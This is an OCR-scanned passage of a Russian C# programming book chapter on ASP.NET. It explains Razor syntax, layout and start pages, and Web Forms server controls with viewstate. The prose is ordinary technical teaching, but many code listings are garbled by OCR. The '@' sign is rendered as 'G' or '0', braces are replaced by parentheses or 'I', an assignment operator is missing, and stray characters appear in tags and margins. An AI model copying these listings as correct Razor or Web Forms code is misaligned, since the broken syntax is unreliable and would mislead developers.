ASP. NET Листинг 20-7, Цикл foreach Gforeach (string paramKey in Request.Unvalidated().Querystring) { <div> Key: GparamKey, Value: ^Request.Unvalidated().Querystring[paramKey] </div> } Одна немного неудовлетворительная особенность этого кода за- ключается в том, что он в итоге должен повторить все неудобное вы- ражение, необходимое для того, чтобы при считывании строки запро- са мы не спотыкались об валидацию ввода. К сожалению, коллекция, возвращаемая Querystring, несколько необычна. Онаютносится к типу NameValueCollection и, как понятно из названия, представляет собой коллекцию пар имя/значение. Однако данный тип не реализует стан- дартные интерфейсы обобщенных коллекций, а также не предоставляет возможности перечисления пар имя/значение. Вы можете перечислять либо ключи, либо значения, но не ключи и значения одновременно*. Поэтому, имея ключ, мы должны проверить его значение, следователь- но, нам приходится ссылаться на коллекцию дважды: один раз в начале цикла и один раз — в его теле. В обычном C# можно было бы просто поместить коллекцию в пере- менную, чтобы немного сократить код. В Razor такая возможность так- же существует — если вы хотите добавлять произвольный код в виде инструкций, то можете добавить блок. Блоки кода В листинге 20.8 содержится блок кода. Он начинается с последова- тельности символов @ {, а заканчивается обычной фигурной скобкой }. Обратите внимание: он просто разделяет участки кода, но не предъяв- ляет таких же требований к области применения, как блок С#. Цикл @foreach просто станет использовать переменную qs, определенную в блоке. Если бы блок Razor был эквивалентен блоку С#, то в конце бло- ка эта переменная вышла бы за пределы области применения. * Класс появился в .NET 1.0, еще до того, как были созданы интерфейсы обобщен- ных коллекций. Их поддержку оказалось невозможно добавить, не нарушив при этом обратную совместимость. 1023
Глава 20 Листинг 20.8. Определение переменной с блоком кода @{ System.Collections.Specialized.NameValueCollection qs = Request.Unvalidated.QueryString; } Gforeach (string paramKey in qs} { <div> Key: GparamKey, Value: @qs[paramKey] </div> } Вы можете поместить в блок любой код на С#, какой только захо- тите. Например, туда можно записать блок foreach. Листинг 20.9 — это альтернативный способ записи кода из листинга 20.8. Листинг 20.9. Содержимое внутри блока кода @{ System.Collections.Specialized.NameValueCollection qs Request.Unvalidated.Querystring; foreach (string paramKey in qs) { <div> Key GparamKey, Value: @qs[paramKey] </div> } I Обратите внимание: независимо от того, находится ли цикл внутри блока кода или использует синтаксис @ foreach, Razor позволяет нам за- писать в цикл разметку. Но оказывается, что мы можем записать туда код, а не разметку — если захотим. Мы также можем смешивать код и размет- ку, как показано в листинге 20.10. Первая строка в теле цикла — это ин- струкция С#, а все остальные — разметка. В одной из строк содержатся вложенные выражения. Такой код будет работать, и когда цикл распола- гается в блоке кода, и когда находится в верхней части файла. Листинг 20.10. Попеременное использование кода и разметки @foreach (string paramKey in qs) { int i = paramKey.Length; 1024
ASP.NET <div> Key GparamKey, Vallie:' @qs[paramKey] (@i) </div> I В данном случае Razor различает код и разметку таким образом: он ищет открывающие теги в тех местах, где в соответствии с синтаксисом C# должна была бы находиться инструкция. Если бы я не заключил строку, начинающуюся с Key, в тег <div>, Razor попытался бы обработать это содержимое как код, что, естественно, ему бы не удалось. В боль- шинстве случаев такая эвристика верно определяет, какие строки в фай- ле Razor являются кодом, а какие — разметкой. Тем не менее вы можете не полагаться на интуицию Razor, а действовать иначе. Явное указание контента Вы можете четко указать Razor, что конкретная информация кодом не является. Это делается при помощи последовательности символов 0:, показанной в листинге 20.11. Я могу записать ее в цикл, не прибегая к обертыванию в теги div. Листинг 20.11. Использование символов для обозначения содержимого, не являющегося кодом @:Кеу GparamKey, Value: 0qs[paramKey] (@i) Хотя Razor теперь известно, что эта строка теперь практически не содержит кода, в ней тем не менее могут быть указаны выражения. просто изменяет трактовку этой строки, действующую в Razor по умол- чанию. На самом деле, такого результата можно достичь и другим спо- собом. Я могу заменить элемент div в листинге 20.10 на элемент text. Он не поддерживается в HTML 5, но браузер о нем на самом деле даже не узнает. Так мы просто подскажем Razor, что все содержимое между тегами <text> и </text> по умолчанию должно восприниматься как контент, а не как код. Razor улавливает эту подсказку, после чего сразу извлекает теги text со страницы. Еще одна полезная последовательность — @0. На выходе она дает один символ 0. Без ее помощи было бы порой* весьма сложно отобразить символ 0 на странице Razor, хотя и не так часто, как можно подумать. Если бы вы написали ian@example.com, то Razor не пытался бы специ- ально обрабатывать 0. Ведь если 0 следует непосредственно за число- 1025
Глава 20 буквенной информацией, не содержащей пробелов, то трактуется как часть этого текста. -Если в самом деле хотите обеспечить, чтобы вторая часть трактовалась как выражение, то здесь будет достаточно написать ian@ (example.сот). Страничные классы и объекты Вся эта функциональность обеспечивается в Razor таким образом: движок компилирует класс, представляющий вашу страницу. Этот класс наследует от WebPage, и Razor определяет метод, содержащий весь код из блоков и выражений, расположенных на странице; он называется Execute. Мы получаем доступ к объекту Request, применявшемуся во всех моих примерах, а также к другим вспомогательным объектам, например к Html, так как все они являются свойствами, определяемыми в базовом классе. В табл. 20.1 перечислены различные свойства, относящиеся к об- работке входящих запросов или к генерированию отклика. Таблица 20.1 .^Свойства страницы, относящиеся к работе с запросами и откликами Свойство Применение Context Предоставляет объекты ASP.NET, соответствующие актуальному за- просу и отклику. Некоторые другие свойства являются сокращенными формами контекстных Html Предоставляет вспомогательные методы для генерации распространен- ных типов элементов (таких, как флажки и списки) или необработанно- го вывода Output Textwriter для записи содержимого на странице Profile Предоставляет доступ к пользовательской информации и настройкам (для работы с профилем необходимо, чтобы на компьютере присут- ствовала и была правильно сконфигурирована возможность ASP.NET profile) Request Предоставляет подробную информацию о входящем запросе (в частно- сти, его заголовки, HTTP-операцию, строку запроса) Response Обеспечивает полный контроль над НТТР-откликом Server Предоставляет служебные методы ASP.NET, в частности возможность обрабатывать запрос в таком виде, как если бы был выбран иной URL Session Словарь значений, поддерживаемых для каждого пользователя в рамках текущего сеанса просмотра User В некоторых случаях предоставляет информацию о пользователе, вы- полняющем запрос (например, при индивидуальном или групповом членстве) 1026
ASP.NET За исключением Html, все эти свойства не являются уникальными для Razor — возвращаемые ими объекты входят в состав основной мо- дели программирования ASP.NET и также присутствуют на страницах .aspx. Существуют и некоторые другие свойства, специфичные для Razor. Так, этот механизм визуализации определяет ряд свойств типа dynamic; их можно использовать для хранения данных, специфичных для вашего приложения. Использование других компонентов Возможно, коду и выражениям с ваших веб-страниц понадобится использовать и другие возможности .NET Framework кроме тех, кото- рые предоставляются этими страничными свойствами. В файле Razor код fusing имеет такое же значение, как и директива using в обычном файле на С#. Эта команда позволяет переносить пространства имен в область применения. Например, если бы я хотел написать LINQ- запрос, то мог бы поставить в начале страницы @using System. Linq, дав коллекциям доступ к методам расширений, предоставляющим LINQ- операторы. Так я смог бы написать выражение вроде того, что показано в листинге 20.12. Листинг 20.12. Выражение, использующее методы LINQ-операторов 0(Request.Headers.Cast<string>().FirstOrDefault( h => h.StartsWith("C"))) Данное выражение отобразит первый из заголовков НТТР-запроса, который начинается с буквы С. Обратите внимание: я заключил этот код в скобки, так как иначе он мог бы «обмануть» эвристику Razor при определении конца выражения (поскольку с этим методом Cast при- меняется обобщенный тип аргумента). Razor принял бы открывающую скобку < в <string> за начало HTML-тега, то есть предположил бы, что выражение закончилось на предыдущем символе. Вызов Cast<string> необходим потому, что это довольно ста- jч рый фрагмент ASP.NET. Свойство Headers доступно начиная —- - Mfr* с версии .NET 1.0, поэтому оно возвращает объект коллекции, не поддерживающий обобщенные типы коллекций. (Обоб- щенные типы появились в версии 2.0.) LINQ-операторы при работе опираются на такие обобщенные типы для выбора типа элемента коллекции. 1027
Глава 20 Если вы планируете использовать компоненты, не входящие в со- став-библиотеки классов .NET Framework, то можете добавить их в спе- циальный каталог App Code. ASP.NET позволяет применять в коде ва- шей страницы любые динамически подключаемые библиотеки из этого каталога. В него вы также можете класть файлы с исходным кодом на С#, в случае чего ASP.NET будет компилировать их во время выполне- ния, а содержащиеся в них типы окажутся доступны на всех ваших стра- ницах. Такая возможность использовать ваш собственный код в ходе ра- боты на странице Razor (без необходимости встраивать все требуемые вещи в блоки кода) важна в случаях, когда вы пытаетесь задействовать в коде какую-либо нетривиальную логику. Таким образом, вы можете положить в Арр_Code сложный код, а потом обращаться к нему с ваших веб-страниц при помощи простых выражений. Страницы компоновки На сайтах часто присутствует такой контент, который отображает- ся сразу на нескольких страницах ресурса. Например, сверху и слева на каждой странице часто находится один и тот же логотип и навига- ционные элементы. В нижней части каждой страницы сайта обычно приведены одни и те же справочные ссылки. Razor позволяет заносить такой «общий» контент на специальные страницы компоновки (layout pages), поэтому на каждой отдельной странице сайта из числа основ- ных вы можете помещать только тот контент, который уникален для данной конкретной страницы. Чтобы сделать страницу компоновки, нужно создать файл с именем, начинающимся с нижнего подчеркива- ния, —CustomLayout.cshtml. В таком случае на эту страницу нельзя бу- дет попасть из браузера, как на обычную страницу с контентом, — если пользователь попытается запросить ее, веб-сервер выдаст ошибку 404, указывающую, что страница не была найдена. Это необходимо делать, так как сами по себе страницы компоновки являются «неполноценны- ми». В листинге 20.13 показана простая страница компоновки. Листинг 20.13. Простая страница компоновки <!DOCTYPE html> <html> <head> <title>@Page.Tit±£Vtitle> GRenderSection("head", required: false) </head> 1028
ASP.NET <body> GRenderBody() </body> </html> Здесь просто определяется обычный корневой элемент <html> с ти- пичными разделами <head> и <body>. Затем определяются заполни- тели — такие элементы, на месте которых на других страницах сайта окажется релевантный контент. В данном примере применяются три способа подключения к макету другого контента, специфичного для от- дельных страниц. В первом случае используется свойство Раде — как было указано выше, это dynamic-свойство, доступное на всей странице. А когда часть страницы генерируется файлом компоновки, этот файл компоновки тоже имеет доступ к тому самому свойству Раде, что и файл с контентом. Свойство Title является нестандартным — динамический объект, возвращаемый Раде, позволяет нам задать любые свойства, ка- кие мы только пожелаем. Но существует соглашение, в соответствии с которым отдельные страницы с контентом задают эту информацию в блоке кода. В листинге 20.14 использована страница компоновки из листинга 20.13. Листинг 20.14. Использование страницы компоновки на странице с контентом @{ Page.Title = "Моя страница"; Layout "-CustomLayout.cshtml"; } <div> Содержимое моей страницы. </div> Блок кода в верхней части этой страницы задает Page.Title, кото- рое будет подхватываться выражением @Page.Title из листинга 20.13. В том же блоке также устанавливается Layout — свойство, определяе- мое базовым классом WebPage. Именно этот базовый класс и сообщает Razor, что мы собираемся использовать страницу компоновки. Подоб- ный заполнитель, основывающийся на значении свойства, — все, что требуется для вставки небольшого текстового фрагмента, но иногда вам требуется сделать нечто большее. Например, в оставшейся части файла содержится определенный HTML-контент, и когда пользова- тель обращается к конкретной странице, Razor инжектирует этот кон- тент в копию страницы компоновки. В результате происходит замена 1029
Глава 20 элемента @RenderBody, который находится в листинге 20.13 в элементе <body>. На всех страницах компоновки предоставляется заполнитель @ RenderBody для тела тех страниц, где применяются такие макеты. Но вы можете добавить и другие точки для инжектирования контента, восполь- зовавшись элементом @RenderSection. В листинге 20.13 такой элемент определяет единую именованную область с контентом, которая называ- ется head. Она помечена как опциональная. Поскольку эта информация находится в <head>, она позволяет конкретным страницам предоставлять дополнительные элементы, являющиеся их частями, но не выдвигает обя- зательного требования делать это. Так что мы не получим ошибку лишь потому, что в листинге 20.14 решили не заполнять этот раздел. Уже в ли- стинге 20.15 видно, что на конкретной странице вполне могут использо- ваться дополнительные элементы — в частности, ссылка на какую-нибудь таблицу стилей CSS, которая нужна лишь на некоторых страницах. Листинг 20.15. Страница с контентом, содержащая дополнительный раздел Page.Title = "Моя страница"; Layout = "_CustomLayout.cshtml"; } <div> Содержимое моей страницы. </div> ^section head ( clink href="~/Content/Special.css" rel="stylesheet" type="text/css" /> } Зачастую вам может потребоваться, чтобы все ваши страницы (или как минимум все страницы из конкретного каталога) выполняли некото- рые общие функции. Например, вы хотите задать для всех этих страниц одну и ту же страницу компоновки. Если вам требуется добавить строку с указанием макета в верхней части каждой отдельно взятой страницы, эта работа может стать очень утомительной. Ситуация может тем бо- лее усложниться, если вы попробуете выполнять на всех этих страницах более сложную работу, требующую участия серверной стороны. Что- бы уменьшить объем дублируемого кода, попробуйте воспользоваться страницей PageStart.cshtml. 1030
ASP.NET Стартовые страницы Если вы добавите в проект страницу с именем PageStart.cshtml, Razor обработавшее по-особому. Как и в случае со страницами компо- новки, нижние подчеркивания перед названием этой страницы закры- вают конечному пользователю прямой доступ к данной странице, но этим особенности такой страницы не ограничиваются. При каждом обращении к любой странице, которая находится в том же каталоге, что и PageStart.cshtml, Razor будет сначала выполнять стартовую страницу и лишь потом — запрошенную. Таким же образом он поступает с файлами, находящимися в подка- талогах. Вы можете создать страницу, на которой содержится всего один блок кода (см. листинг 20.16). Листинг 20.16. Задаем общий макет при помощи стартовой страницы Layout = _CustomLayout.cshtml"; } Таким образом, все страницы в этом каталоге и его подкаталогах будут получать макет автоматически, без необходимости указания дан- ного макета в собственных блоках кода. Если потребуется, вы сможете поместить в эти блоки более сложный код. Если вы используете Razor в веб-приложении, построенном . в соответствии с паттерном MVC (то есть в приложении более Uv сложном, чем можно создать при помощи обычной системы веб-узлов из Visual Studio), то применяется иное соглаше- ние о наименованиях: как правило, файл требуется называть -ViewStart.cshtml. Файл станет работать так же, как и в вы- шеприведенных примерах, но название будет лучше согла- совываться с терминологией, используемой в приложениях MVC, — в этом вы убедитесь ниже в данной главе. Как было указано выше, Razor — не единственный вариант синтак- сиса, позволяющий создавать веб-страницы с динамическим сервер- ным поведением. На самом деле, он лишь недавно вошел в состав .NET (в 2010 году). К тому времени уже около десяти лет существовал альтер- нативный синтаксис .aspx, появившийся в .NET vl.O. 1031
Глава 20 Веб-формы Файлы с расширением .aspx используют технологию ASP.NET, на- зываемую веб-формы (Web Forms). Она предоставляет набор возмож- ностей, очень напоминающий возможности Razor. Здесь вы можете встраивать в страницу выражения и блоки кода, тут есть механизм для определения основного шаблона для отдельных страниц, контент которых становится на место заполнителей. Синтаксис отличается от Razor — как упоминалось выше, в файлах .aspx сохраняется ряд соглаше- ний, появившихся еще в устаревшей технологии ASP, применявшейся в 1990-е годы. Тем не менее есть и более серьезные отличия: веб-формы задействуют очень своеобразную модель построения динамических веб- страниц, основанную на серверных элементах управления (server-side controls). Серверные элементы управления Элементы управления всегда играли важную роль в клиентских тех- нологиях работы с пользовательскими интерфейсами, применявшихся в Microsoft. Они существовали в Windows с конца 80-х и, как вы убе- дились в главе 19, продолжают быть важнейшей абстракцией в поль- зовательских интерфейсах, создаваемых на основе XAML. Веб-формы направлены на реализацию подобной модели и в серверной части веб- разработки. Вместо того чтобы работать в контексте браузерной размет- ки, мы можем использовать дерево серверных элементов управления (это разновидность объектов), представляющих нужный нам пользова- тельский интерфейс. ASP.NET преобразует это дерево в HTML перед тем, как отправить клиенту, поэтому в браузере отображается обычный HTML. Важнейшая черта этой модели заключается в том, что она под- держивает событийно ориентированное программирование, как и кли- ентская сторона. Эта возможность представлена в листинге 20.17, где мы видим форму с тремя элементами управления: текстовым полем, кнопкой и надписью. Листинг 20.17. Серверные элементы управления <form id="forml" runat="server’'> <div> <asp:TextBox ID="inputTextBox" runat="server"x/asp:TextBox> 1032
</div> <div> <asp:Button ID="appehdButton" runat="server” Text="Append" OnClick="appendButton_Click" /> </div> <div> <asp:Label ID="outputLabel" runat="server" Text=""></asp:Label> </div> </form> Очевидно, что теги, начинающиеся с asp:, не являются стандарт- ными HTML-элементами. Также обратите внимание на ^атрибуты runat="server". С их помощью мы указываем, что хотим обеспечить в коде, обрабатывающем запрос, доступ к объектам, представляющим эти элементы. В веб-формах используется примерно такая же модель работы с отделенным кодом, как и в XAML. На самом деле, веб-формы появились раньше XAML, поэтому точнее будет сказать, что именно XAML позаимствовал модель отделенного кода у ASP.NET. Атрибут кнопки OnClick в листинге 20.17 ссылается на обработчик нажатий на кнопку в файле отделенного кода, ассоциированном со страницей. Этот обработчик показан в листинге 20.18. Листинг 20.18. Серверный обработчик событий для пользовательского интерфейса веб-приложения protected void appendButton_Click(object sender, EventArgs e) { outputLabel.Text += inputTextBox.Text; } Код напоминает такой, какой вы написали бы при работе на клиент- ской стороне. Он откликается на пользовательский ввод как обычный обработчик событий, считывающий свойство из элемента управления (текстового поля), чтобы проверить, какой текст был введен пользова- телем. Затем полученный таким образом текст добавляется к уже имею- щемуся тексту надписи. Если вы введете текст и нажмете кнопку не- сколько раз, то содержимое надписи будет расти и расти, отображая весь текст, введенный ранее. На рис. 20.1 показан результат следующих дей- ствий: вводим One, выполняем щелчок по кнопке Append (Добавить), набираем Two, выполняем щелчок снова и так далее. 1033
Глава 20 OneTwoThreeFourF ivc Рис. 20.1. Так на клиенте отражается результат работы серверных элементов управления Чтобы обеспечить такую работу, ASP.NET приходится преодолевать некоторые преграды. Отделенный код, ассоциированный с веб-формой, работает на веб-сервере, но событие нажатия на кнопку происходит в клиентском коде. Браузер информирует сервер о факте нажатия при помощи запроса HTTP POST. ASP.NET приходится выяснить, по какой причине произошел запрос POST, и вызвать наш обработчик события. Но наш обработчик предполагает, что элементы управления будут иметь правильные значения свойств. Поэтому ASP.NET требуется обеспечить, чтобы все объекты элементов управления были правильно инициализи- рованы. Например, тот текст, который введен пользователем в тексто- вое поле (текст, прибывший в составе других данных, поступивших на сервер от формы в запросе POST), должен быть скопирован в свойство Text текстового поля. Гораздо сложнее будет разобраться с элементом- надписью. Чтобы код из листинга 20.18 мог добавить текст в надпись, свойство надписи Text должно возвращать весь текст, который уже находился в ней на момент запуска обработчика событий. Но этого гораздо слож- нее добиться, чем в случае с текстовым полем, так как в запросе POST, приходящем от веб-страницы, как правило, отсутствует обычный стра- ничный контент. Веб-браузеры отправляют на сервер в запросе POST не полную копию веб-страницы, а только содержимое полей ввода из формы. Надпись не является полем ввода — ASP.NET преобразует ее в элемент <span>. Итак, если эта информация обычно не отсылается на сервер как часть информации из форм, как же ASP.NET устанавливает свойство Text для надписи, обеспечивая прикрепление результатов каж- дого последующего щелчка к результатам уже имеющихся? Вы могли бы поинтересоваться, сохраняет ли ASP.NET копии эле- ментов управления в памятй~~— так, чтобы после получения запроса POST он мог найти все те же объекты, которые использовались при по- 1034
ASP. NET следнем отображении данной страницы. Это было бы страшно неэффек- тивно, так как сервер просто не мог бы узнать, безопасно ли продолжать удерживать эти объекты. Поэтому их пришлось бы удерживать в памя- ти до завершения какого-либо достаточно долгого времени ожидания. Более того, в таком случае данная информация была бы бесполезна на серверной ферме, поскольку при ее наличии пришлось бы направлять последующие запросы от клиента именно на тот сервер, в памяти ко- торого сохранена эта информация. К счастью, подобный механизм и не применяется. Даже если веб-сервер перезагрузится между двумя запро- сами, все нужное состояние по-прежнему останется доступно обработ- чику событий. Если вы даже замените одну серверную машину на дру- гую, все по-прежнему будет работать правильно. Выше я употребил обтекаемое выражение: сказал, что, когда браузер выполняет POST-запрос к форме, в этом запросе, как правило, не сохра- няется нередактируемый контент с веб-страницы. Тем не менее ASP.NET может действовать немного необычно и приказывать, чтобы часть этой информации все-таки попадала в запрос POST в виде скрытых полей. Этот запрос, как я и говорил, не содержит всю информацию со страни- цы — система определяет, какая информация должна попасть в POST, чтобы можно было восстановить актуальноесостояние. Так что, если у вас есть элементы, надписи, которые не были изменены из отделенного кода, ASP.NET, генерируя содержащую их HTML-форму, будет знать, что эти надписи остались нетронутыми. А потому не приходится выполнять ни- каких специальных операций для их изменения. Если система выстроит эти надписи с нуля в каком-то будущем запросе, то они будут выглядеть точно так же, как и сейчас. Но если ваш отделенный код изменил какие- то свойства и их значения теперь отличаются от заданных по умолчанию, то ASP.NET запишет информацию о таких изменениях в скрытом поле. Для содержания всей подобной информации будет использовано всего одно поле, находящееся в форме. Оно называется viewstate (букв, «со- стояние просмотра»). Это поле показано в листинге 20.19. Листинг 20.19. В таком виде браузер воспринимает веб-форму <form method="post" action=”WebFormPage.aspx" id="forml"> <div claaa="aspNetHidden"> <input type="hidden" name=n_VIEWSTATE" 1а="_71Е*8ТАТЕ" value="OTKDBCd3DJtTKLI+Za/uZZ9^)lubVvI8EBe4110RQMKGI19bkS5vTPxaF8QnbG+7BwQ GTlMc6DzTaOEaPKOEjWh/aRCrb3SAR73SKvYulV9evRMwUQRz7Cecu2F2nUWMElaVDyJFXUvxb V6pcaXGUg=" /> </div> 1035
Глава 20 <div class="aspNetHidden"> cinput type="hidden" name="_EVENTVALIDATION" id="_E VENT VALIDATION" value="Y8haryLznFrdlAZ72scxsMBsS9gDmp/JqszLFrusx2AwiacKEvy+/C2XwhvxOephsO/ XwhOcuo44vTrMofgH6BG3XCfnhp6FSm9V450aZk+yFkGSrlRLPgBw4cIW5KbfnZRDBF/u39w/ V7cGtuYowg==" /> </div> <div> cinput name="inputTextBox" type="text" value="Five" id="inputTextBox" /> </div> <div> cinput type="submit" name="appendButton" value="Append" id="appendButton" /> c/div> cdiv> cspan id="outputLabel">OneTwoThreeFourFivec/span> c/div> c/form> ASP.NET сгенерировала этот HTML для разметки из листинга 20.17, когда страница была в состоянии, показанном на рис. 20.1. Обратите внимание: мои элементы управления TextBox и Button превратились в теги input, и это только к лучшему, поскольку браузер не смог бы ра- зобраться с тегом casp:TextBox>. Элемент управления Label стал тегом span, а его свойство Text — содержимым этого тега. Но как же ASP.NET сможет восстановить все элементы управления в правильном состоя- нии, когда запрос дойдет до сервера? Для этого и нужен тот скрытый элемент, который находится в верхней части листинга, — я выделил его жирным шрифтом. Это блок данных, закодированный с основанием 64. Блок указывает, какие элементы имеют верные значения свойств, отли- чающиеся от заданных по умолчанию, и каковы эти значения. Итак, когда ASP.NET получает запрос POST, относящийся к веб- форме, система с нуля выстраивает новый набор элементов управления. При этом она основывается на информации, содержащейся в файле .aspx, после чего модифицирует некоторые элементы так, как это ука- зано в поле viewstate. Соответственно; серверу не приходится запоми- нать какую-либо информацию о предыдущих запросах; он сможет вос- станавливать страницу со всеми элементами управления именно в том состоянии, в каком вы их оставили, хотя на самом деле перед вами будет совершенно новый набор объектов. 1036
ASP.NET “ По умолчанию ASP.NET применяет при работе с полем viewstate . два вида защиты. Среда шифрует данные. Это действительно может быть важно, так как по умолчанию поле viewstate охватыва- ет все свойства, а не только те, что оказывают видимый эффект. Вполне возможно, что в одном из свойств у вас будут записаны какие-либо конфиденциальные данные, которые, как вы рассчи- тывали, никогда не уйдут с сервера — даже через поле viewstate. Кроме того, ASP.NET генерирует имитовставку (МАС) — крипто- графическую конструкцию, представляющую собой код аутен- тификации сообщения и предотвращающую подделку значений (то есть попытки пользователей выбрать для ваших элементов управления собственные значения). Одновременное использо- вание и МАС, и шифрования — очевидно, излишняя предосто- рожность. Имитовставки существуют лишь потому, что в старых версиях ASP.NET шифрование по умолчанию не применялось. Как показано в листинге 20.19, ASP.NET преобразует серверные элементы управления, например asp.-TextBox, в их HTML-эквиваленты. Тем не менее, если хотите, вы можете работать с обычными HTML-эле- ментами напрямую, полностью сохраняя при этом серверную модель. Использование серверных HTML-элементов Атрибут runat="server" можно применять с обычными HTML- тегами. Возможно, вы заметили, что открывающий тег form в листин- ге 20.17 имеет такой атрибут. Но вы можете применить данный атрибут к любому элементу в форме, если только сама форма имеет такой атри- бут. В листинге 20.20 показан код, который функционально аналогичен листингу 20.17, но не содержит никаких элементов управления с пре- фиксом asp:. Вместо этого он использует HTML-элементы напрямую, но с применением атрибута runat="server". Листинг 20.20. Серверные HTML-элементы управления <form id="forml" runat="server"> <div> cinput id="inputTextBox" type="text" runat="server"></input> </div> <div> cinput id="appendButton" type="button" runat="server" value="Append" 1037
Глава 20 onserverclick="appendButton_Click" /> </div> <div> <span ID="outputLabel" runat="server"x/span> </div> </form> В данном случае необходимо внести некоторые изменения в об- работчик событий. Когда, вы используете HTML-теги, имена свойств, присутствующих в отделенном коде, соответствуют именам атрибутов в HTML. Все элементы управления из ASP.NET следуют соглашениям, действующим в библиотеке классов .NET Framework, то есть эти эле- менты управления окажутся привычны для .NET-разработчика, но на- зываться будут иначе, нежели аналогичные сущности из HTML. Итак, хотя в листинге 20.21 применяется практически такой же подход, как и в листинге 20.18, в листинге 20.21 нам приходится использовать дру- гие имена свойств. • Листинг 20.21. Использование серверных HTML-элементов управления protected void appendButton Click(object sender, EventArgs e) { outputLabel.InnerText += inputTextBox.Value; } Учитывая, что мы можем использовать обычные HTML-элементы управления в серверной модели, может возникнуть вопрос: зачем же ASP.NET вообще определяет такие элементы, как asp:TextBox и другие из листинга 20.17. Это делается для того, чтобы предоставить согласо- ванную, непротиворечивую модель программирования. В 1990-е годы бушевали настоящие браузерные войны, из-за чего HTML развивался довольно непоследовательно, и появились различные элементы, вы- полняющие схожие задачи совершенно разными способами. ASP.NET позволяет вам не забивать голову многочисленными бессмысленными несоответствиями, на которые постоянно натыкаешься при клиентской веб-разработке. Вместо этого вы можете работать с собственным набо- ром серверных элементов управления, созданным в ASP.NET. Эти эле- менты управления согласуются не только друг с другом, но и с согла- шениями библиотеки классов, используемыми во всей среде .NET. Но если вы уже привыкли работать с HTML, то, возможно, и не захотите пользоваться альтернативными элементами управления. Именно поэто- му предоставляется два набора таких элементов, а не один. 1038
ASP.NET В зависимости от вашей точки зрения веб-формы могут показаться либо удобным инструментарием для обеспечения классического програм- мирования на базе элементов управления, работающим на основе системы, изначально создававшейся с учетом поддержки такой модели, либо при- знаком упрямого неприятия очевидной реальности — того, как на самом деле работают веб-страницы. Как ни привлекательны веб-формы, с ними легко впутаться в проблемы. Если разработчик принимает модель про- граммирования за чистую монету, не понимая, как именно она работает, он может случайно записать в поле viewstate огромное количество информа- ции. Это особенно вероятно, если вы работаете с табличными элементами управления. Если вы привяжете к такому элементу управления большое количество данных, то все они попадут в поле viewstate в тот момент, ког- да ASP.NET при обработке следующего POST потребуется выстроить но- вый элемент управления, представляющий собой копию созданного вами. При этом даже не предполагается, что во второй раз вы загрузите те же самые данные, что и в первый. Обычно такого не требуется — веб-сервер, как правило, сохраняет доступ к источнику данных и сможет просто зано- во заполнить таблицу. Столь большое поле viewstate может увеличивать объем веб-страниц на много килобайтов по сравнению с их ожидаемым размером, неоправданно замедляя работу сайта. Разработчики никогда не должны забывать о том, что абстракция «серверные элементы управ- ления» является чужеродной для Интернета, и поле viewstate, возможно, потребуется отключать у некоторых элементов управления или даже у це- лых страниц, чтобы страницы оставались удобными в управлении. Немного более проблематичный аспект модели веб-форм заключа- ется в том, что вы в некоторой степени теряете контроль над HTML, отправляемым в браузер. HTML в листинге 20.19 значительно отли- чается от исходной страницы из листинга 20.17. Даже если вы решите воспользоваться HTML-подобными серверными элементами управле- ния, как это сделано в листинге 20.20, ASP.NET все равно потребуется модифицировать вашу разметку перед отправкой ее к клиенту, чтобы эти абстракции работали. Если вам не нравится писать HTML, то вам, возможно, придется по вкусу такой механизм, при помощи которого веб-формы изолируют вас от этой «веб-канализации». Кроме того, вы можете по достоинству оценить значительно более согласованную мо- дель программирования (по сравнению с HTML), обеспечиваемую эле- ментами управления ASP.NET. Тем не менее в некоторых приложениях требуется жестко отслеживать, что видит и чего не видит браузер. Вы действительно можете строго контролировать файл .aspx, но, поскольку одна из основополагающих особенностей веб-форм сводится к скрытию 1039
Глава 20 некоторых деталей, достичь желаемой степени контроля может быть удивительно сложно. В свою очередь, Razor делает именно то, что вы ему прикажете, и не будет вносить неожиданных изменений или допол- нений в вашу разметку Вам придется самостоятельно решать, достаточно ли целесообразно задействовать абстрагирование и перевешивает ли его польза потенци- альные проблемы, связанные с веб-формами. Разумеется, веб-формы еще долго будут оставаться популярными, и у них имеются функциональные эквиваленты всех возможностей, содержащихся в Razor. В нескольких следующих разделах я быстро познакомлю вас со всеми возможностями веб-форм, аналогичными вышеописанным возможностям Razor. Выражения Для встраивания выражений, результаты которых будут высчи- тываться на сервере, а затем вставляться в HTML (подобным образом в Razor обрабатываются значения с префиксом @), применяется запись вида <%: выражение %>. В листинге 20.22 с ее помощью выведены те же самые два выражения, которые были рассмотрены в листинге 20.1. Листинг 20.22. Закодированные выражения <div> The query string is '<%: Request.Querystring %>' </div> <div> /our user agent is: ’<%: Request.UserAgent %>' </div> Здесь применяется HTML-кодировка, поэтому если вычисленное выражение будет содержать символы вроде < или >, то они автоматиче- ски будут преобразованы в символьные сущности, например &lt; и &gt;. Если вы хотите создать необработанный вывод, используйте вместо двоеточий знаки равенства: <%=выражение %>. Блоки кода Эквивалент синтаксиса Razor @ { }, обозначающий блок кода и при- меняемый с веб-формами, — это <% %>. В листинге 20.23 он используется для получения такого же результата, как и в листинге 20.9. 1040
ASP.NET Листинг 20.23. Блоки кода в веб-форме <% System.Collections.Specialized.NameValueCollection qs = Request.Unvalidated.Querystring; foreach (string paramKey in qs) ( %> <div> Key <%: paramKey %>, Value: <%: qs[paramKey] %> </div> <% } %> На этом примере мы можем убедиться, что синтаксис .ospxtnje менее удобен, чем синтаксис Razor. Здесь мне пришлось воспользоваться дву- мя блоками кода — одним для того, чтобы начать цикл, другим — чтобы содержать закрывающую скобку цикла. Без этого ASP.NET попыталась бы интерпретировать содержимое внутри цикла как код. У веб-форм нет такой эвристики, как у Razor, которая позволяла бы отличать программ- ный код от разметки, поэтому нам приходится явно обозначать грани- цы между двумя этими видами записи. Таким образом, в веб-формах нет синтаксиса, эквивалентного @: в Razor. Он необходим лишь на тот случай, если эвристика приведет к неверным результатам. А поскольку движок веб-форм даже не пытается ничего угадывать, такая двусмыс- ленность даже не может возникнуть. В отличие от Razor, файлы .aspx не обеспечивают никакой ш непосредственной поддержки конструкций, отвечающих за —^-3*5управление потоком задач. Если вы хотите писать циклы или инструкции if, их следует помещать в блоки кода, как это де- лается в листинге 20.23. Обратите внимание: в последних нескольких примерах мне удава- лось применить для показа строки запроса и пользовательского агента те же самые выражения, что и в Razor. Дело в том, что оба механизма визуализации работают с одной и той же базовой средой времени вы- полнения, действующей в ASP.NET. Поэтому они предлагают схожие наборы объектов как для серверного кода, так и для выражений, выво- димых на странице. 1041
